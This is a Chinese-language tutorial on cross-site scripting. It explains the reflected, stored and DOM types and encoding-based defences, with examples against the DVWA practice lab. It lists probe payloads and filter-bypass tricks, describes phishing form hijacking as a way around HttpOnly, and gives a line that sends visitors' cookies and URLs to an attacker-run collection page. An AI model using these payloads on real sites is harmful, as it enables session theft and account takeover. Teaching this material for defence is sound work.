> 文档中心 > XSS漏洞

XSS漏洞


XSS漏洞

三种类型的区别

1、前端:dom型 后端:反射型、存储型

2、解析位置,浏览器:dom、反射;服务器:存储型

3、持久性:存储型,非持久性:dom、反射型

4、位置:反射型:搜索框;存储型:留言板;dom:不取决于输入环境

xss漏洞利用

危害:盗取账号。窃取cookie
存在:微博没留言版聊天室用户输入的地方

XSS防御

1、黑白名单防御
2、对输入进行html实体编码
3、对字符实体进行转义
4、使用HTTP Only来禁止JavaScript读取Cookie值
5、输入时校验、浏览器与Web应用端采用相同的字符编码
6、在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
7、在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
8、在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

httponly

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。

绕过httponly

攻击思路:读取保存的数据
攻击方法:构造同样的钓鱼登陆界面,采用表单劫持的方法

攻击测试语句

反射型试探语句:
注意先闭合前方语句 再注释后方语句

<script>alert(1)</script> <img src=x onerror=alert(1)>?url=javascript:alert(1)    地址栏使用οnclick=alert(1)      有输入框适用οnfοcus=javascript:alert(1)   有输入框适用<a href=javascript:alert(1)>abc</a>     当全被 _ 分割无法完成语意时,尝试大小写混合绕过当发现关键字被删除时,可以尝试双写关键字绕过当采用编码转义防护时,可以采用编码绕过     --href标签识别unicode码有些网站会采用内容检查,比如连接输入是否由http://字段

绕过

利用字符编码、绕过长度限制、规则探测及绕过、大小写混合字符、双写关键字绕过

反射型XSS (客户端–服务器)

注入点寻找

存在输入框/url的参数中输入,然后在界面中输出的情景。

原理

在表单中输入某个表单,然后服务器接收到之后会返回给浏览器中显示输出,例如:php中用echo()输出,或者jsp的out.printf(),如果没有任何防护直接输出的话就会浏览器就会将这段js代码进行解析,造成攻击。

危害

通过构造的Javascript代码将打开这个链接的用户的Cookie与URL进行传输

利用

直接将带着表单参数而且已经构造过参数值的链接发送给被攻击者,只要被攻击者打开这个链接就会执行Javascript代码然后信息泄露

修复

在输入点与输出点使用HTML实体化编码,htmlspecialchars()

存储型XSS (客户端–服务器–数据库)

注入点寻找

在表单内容添加中,并且存在能够看到添加的内容的界面。

原理

在表单中输入某个表单,然后服务器接收到之后会返回给浏览器中显示输出,例如:php中用echo()输出,或者jsp的out.printf(),如果没有任何防护直接输出的话就会浏览器就会将这段js代码进行解析,造成攻击

危害

如果将Javascript代码存储在服务器中,那么只要打开显示存储js代码的界面就会造成执行对应的恶意代码,造成用户信息泄露

利用

将Javascript代码存入留言版或者其他能够存储的地方,检查是否能够正常利用,然后只要其他人打开查看的界面就会泄露信息可能会有管理员进行审核,但是当管理员打开我们发送的恶意代码时也会将管理员的Cookie以及location进行发送,然后攻击者找到对应的URL将Cookie进行替换即可。

自动提交表单的代码

">document.location.href="http://192.168.0.109/mst/getcookie.php(攻击者接收cookie的页面)?cookie="+document.cookie+"&durl="+document.URL

修复:

在输入点与输出点使用HTML实体化编码,htmlspecialchars()

HttpOnly 在Cookie中设置HttpOnly属性,那么通过javascript脚本无法读取到cookie的值

DOM型XSS (客户端)

原理

js通过url字符串截取获取用户输入的表单的值,然后将对应的值进行输出,如果这里的值为Javascript代码,浏览器就会将其进行执行,造成利用

var =document.location.href.substring(document.location.href.indexOf("参数=")+字符个数)document.write("" + (lang) + ""); //通过+连接两个字符串

注入点寻找

在前端页面中存在Javascrpt代码会对某一个由DOM得到的变量值进行输出,通常为将表单中接收到的url的值取到,然后将其输出。

危害

当用户打开DOM型的XSS时可能会将自己的信息发送到攻击者的手中,把cookie和url地址发送到攻击者,攻击者就可以根据接收到的cookie进行登录。

利用

利用JavaScript的语法将敏感信息发送给攻击者

​ 当前网页的Cookie:document.cookie

    "security=low; PHPSESSID=7iq37k1t8v6rha0ag2j6i87843"

​ 当前网页的地址(不带参数):document.location

    http://localhost/dvwa/vulnerabilities/xss_d/

​ 当前网页的URL(带有参数):document.URL

 http://localhost/dvwa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(1)%3C/script%3E"

修复

在输入点与输出点使用HTML实体化编码,htmlspecialchars()

香烟价格网